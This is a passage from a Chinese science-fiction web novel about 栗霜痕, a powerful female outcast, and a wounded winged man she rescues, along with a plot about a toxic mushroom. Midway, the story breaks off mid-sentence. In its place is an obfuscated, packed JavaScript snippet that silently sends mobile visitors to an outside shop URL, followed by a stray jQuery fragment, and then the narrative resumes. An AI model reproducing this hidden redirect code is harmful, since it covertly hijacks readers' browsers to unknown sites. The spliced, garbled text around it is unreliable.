一个只见过几面的人。
“为什么……救我?”
凌溯撑着身子呢喃,静静凝望着这个只和他见了几面的人。
那人的身形逆着窗外的光,身形被光晕包裹成一道柔和的亮边,他看不清她的表情。
光从她背后铺过来,把她的眉眼都融进了那层亮光里。
“顺手罢了。”栗霜痕垂眼。
“这是你第二次救我。”凌溯虚弱撑起身子,嘴唇微动。
“报酬一万晶石。”栗霜痕继续说。
“我的光脑被锁了,如果你能帮我打开……”他侧过头,目光沿着自己肩膀的方向落向身侧。
他的右翼,从肩胛骨后侧延伸出来的翅膀尾端被纱布层层包裹,边缘的纱布下渗出了一道已经干涸的血迹。
栗霜痕逆着光坐着,“多加一千晶石。”
凌溯克制地点了点头,却依旧扯到了伤口,咬紧牙关,轻轻呼出一口气。
“其实你的光脑已经被剥离了。”栗霜痕面无表情。
凌溯眼皮一跳,“你知道还救我?”
“你打工还债。”栗霜痕随口说,“反正没断手没断脚。”
“你不怪我吗?”过了两秒,凌溯又问。
栗霜痕却转移了话题,只是问:“你被赶出来了?”
“大概吧。”
“你为什么要承认实情?”
凌溯叹了一口气,不知道栗霜痕说的到底是哪件事,是他当时承认了自己的身份,还是现在承认自己被赶出来。
“我没必要骗你。”
没必要吗?
栗霜痕没说话了。
“你呢?”凌溯反问:“你为什么要放弃一切,来到这里……”
栗霜痕不耐烦了,随口敷衍了一句:“不想打打杀杀了。”
凌溯动了动翅膀,扯到伤口,疼得又倒吸一口气,“你知道现在联邦和豢养组织都在通缉你吗?”
栗霜痕起身,似乎要走。
地面上拉出一道正在变长的影子,延伸向门口的方向。
“你不回去看看吗?”凌溯的声音从她身后传过来。
栗霜痕的脚步停住了,看着凌溯的方向,眯了一下眼睛。
凌溯抬起眼来看她,轻声开口,尾音带着刚苏醒不久的沙哑:“你不回去看看吗?你的孩子——”
他的话没有说完,栗霜痕垂眼,眼底没有半分情绪,却一伸手。
凌溯的呼吸在她手指合拢的瞬间停顿了一下。
他咳了一声,身体本能地偏了一下。
想逃离无法逃开。
栗霜痕手上的力道又微微加重了一点。
指尖下方,凌溯苍白到几近透明的皮肤下血管在轻微跳动,只要再轻微地用力,他就会被折断脖颈。
凌溯的睫毛在逆光中微微颤了一下,那层刚睁眼不久的迷茫已经褪去了,渐渐被愁光占据。
她的手指在他微红的颈部停了几秒,然后松开了。
“你……你想杀了我……?”他呢喃。
喉结在她指尖微微颤抖。
他的后背贴着床头,单薄的身形在被子下面显得比平时更薄一些,微红的眼眶在逆光中显得格外清晰,睫毛湿漉漉的,连微红的眼睑下都泛着水痕。
栗霜痕松开了手,声音沙哑,“你为什么要劝我回去?我……”
凌溯仰着脖颈轻咳,就连握着脖颈的手指都在泛着红,微微发抖。
“我……我只是不明白……”
我不明白的太多了。
我不明白你为什么可以不顾一切。
我不明白你为什么拥有那么的勇气。
我也不明白你是真的对那一切都不遗憾吗?
为什么?
割舍那一切真的那么容易吗?
那为什么我这么痛苦这么无措呢?
“雌母……你……你不为我难过吗……?我过的……难……难道还没有痛苦到……可以让你满意的程度吗……?”
他拖着残破的翅膀,一点点,一点点地爬到自己雌母面前……
在很多时候,他总是这样仰望着他的雌母。
他的雌母要是对他好一点该有多好……
所以,他第一次见到栗霜痕对她的幼崽那么好时,巨大的怅然笼罩了他的心脏,似乎坚信他的心脏是由有毛线一点点织成的,一双轻柔的手围着他的心脏,势必要找出那根一抽出便会导致全盘散架的线头。
他小时候不是最漂亮的幼崽吗?
为什么雌母还不喜欢他?!
而栗霜痕,是最好的雌母啊。
对自己的幼崽那么好……
好到什么程度呢?
他又想起他第一次见到栗霜痕的时候了。
被子下被纱布裹住的翅膀还在隐隐发麻,像沾满水被轻轻一触碰就会碎掉的纸张,就连每次呼吸时的轻微颤动都是一场浩劫。
他闭上眼。眼前的光从窗户方向渗进来,透过眼皮变成一层偏暖的暗色底片。
这种痛苦其实不算什么。
比起那时候,根本不算什么。
精神力暴走,他几乎要以为他要死在了那里。
灰褐色的沙砾,被暖光晒得发白,散落着被风磨平的碎石片。
那时,他正以一种不太体面的姿势侧躺在那片地面上。
半边脸贴着温热的砂土,另一侧被什么东西遮住了——
后来他才知道那是他自己的翅膀,翅膀上并不多的银色羽毛在那片灰褐色的视野里渐渐发暗。
他的精神力正在消退,耳边似乎有海浪声在轻轻拍打着耳膜。
不,或许不是。
他听到自己的呼吸声在耳膜里缓缓拉平。
他偏了偏头,视线沿着砂砾表面的方向往上移,看到一双靴子。
再往上是劲瘦的腰身和平直的肩线。
那个人逆着光站着,看不清楚表情。
是……是一个雌性。
接着,是一句模糊到听不清的话语:“我救了你,有报酬吧。”
凌溯躺在病床上,睁开眼。
窗外的光依然从那个方向铺进来,在他身上留下一道偏暖的亮边。
这样强大的雌性。
很让人羡慕吧。
栗霜痕垂眼:“算了,你肯定不是联邦派来的……是我太应激了……对你……”
凌溯堵住了栗霜痕要说出的那句对不起:“没关系啊。”
没关系,我知道你的难处。
你也并没有对我那么多恶意,不是吗?
你看出来我过得并不好吧……
栗霜痕:“……你好好休息。”
房门关闭。
栗霜痕刚松了一口气,抬头,文文斜倚在墙边,姿态散漫,指尖轻轻抛着一枚星币。
如今星际已经不再使用星币了。
自从异化兽进入了星际,钱币已经由星币换为了晶石。
铜光一闪,栗霜痕握住掌心,接住了星币。
一朵玫瑰。
“还记得吗?我们玫瑰星系
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915364|209264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的星币……”文文朝她挑挑眉,“是不是酷毙了?这可是我亲手设计的……”
栗霜痕没有任何表情。
“不过,”文文似乎想到了什么,一拍脑袋,“你这次外出是不是遇到了常见云?我怎么在那些蘑菇里监测到了她的精神力……”
栗霜痕:“没有,我直接从她的实验点薅的。”
文文撇嘴,摇头,接着朝栗霜痕竖了一个大拇指。
真不愧是老大!
还以为序含舍弃记忆变成栗霜痕会收敛几分呢,结果比起当年竟然更胜一筹了。
“老大!”文文的话语瞬间甜上了几分,围着栗霜痕左转右转献殷勤,“我还以为你对幼崽那么耐心是变了性子呢?”
栗霜痕伸出一根手指戳开她凑近的脑袋,连脑袋也不自觉向后仰了半分:“别凑我太近。”
没想到文文非但没有因此收敛,反而握着她的手左看右看,眼睛亮晶晶的,一副千叮咛万嘱咐的模样,“老大!一直假装平庸一定很累吧!放心……”
“不累。”栗霜痕闭眼,揉了揉自己的眉心。
“哦。”文文也立马正色,“不过你猜的确实没错,那些黑蘑菇里有可以诱导雄性陷入精神力紊乱的元素。”
在千年前,雄性身为战争的主力,却始终伴有无法自主解决精神力紊乱而陷入的狂暴问题。
因此,总有雌性伴随。
但雌性毕竟是少数。
因此,一个恶毒的计谋就此诞生。
让所有雄性被动陷入狂暴,战争的胜负,便不那么明了了。
可终究是自掘坟墓。
雄性陷入狂暴,会想要撕碎眼前的一切东西。
甚至就连能够安抚他们的雌性,一开始在无法靠近他们的身。
或许这样的情况对敌方来说是好的。
可是,他们渐渐发现,雄性狂暴后会无差别攻击,且精神力会短暂提升数倍,虽可以引起内乱,也有可能会使得两败俱伤,甚至可能使得狂暴的雄性方反败为胜。
因此,在这场内乱长达八年后,星际开始明令禁止这种东西的出现。
这几乎是整个星际的共识。
大概除了那一代,无人再清楚那种可以诱发雄性陷入狂暴的东西是什么。
可是,不过百年,动乱又开始了。
如何根除这一东西的使用呢?
栗霜痕动了动手指。
最好的办法,是将这个东西变成可以拖所有人下水,沾了便不能脱掉丝毫荤腥臭的烫手山芋。
有毒……
不是最保险的办法吗?
剧毒的蘑菇。
碰了会死。
闻到气味会死。
甚至,不过一株,毒性就会扩展到半个星际。
只要使用了,所有人都得死。
要让所有人觉得,使用了所有人都得陪葬。
但哪方势力的后院没有种着几株呢?
这个共同的秘密,会被所有人默契地保留千年万年。
这也是各方势力经过千百年依旧变迭并不明显的原因。
因此,想要除掉某一方势力,必须先除掉这个心腹大患。
但这种蘑菇的饲养需要极其严苛的环境,保密程度极高确保毒性不会扩散的密室。
“既然你说玫瑰星系之前灭亡是因为没有这种东西,那我们也种下就是了。”栗霜痕轻飘飘地说。
流霞溟蕈。
真是一个好名字。
听起来,就很值得她多跑一趟。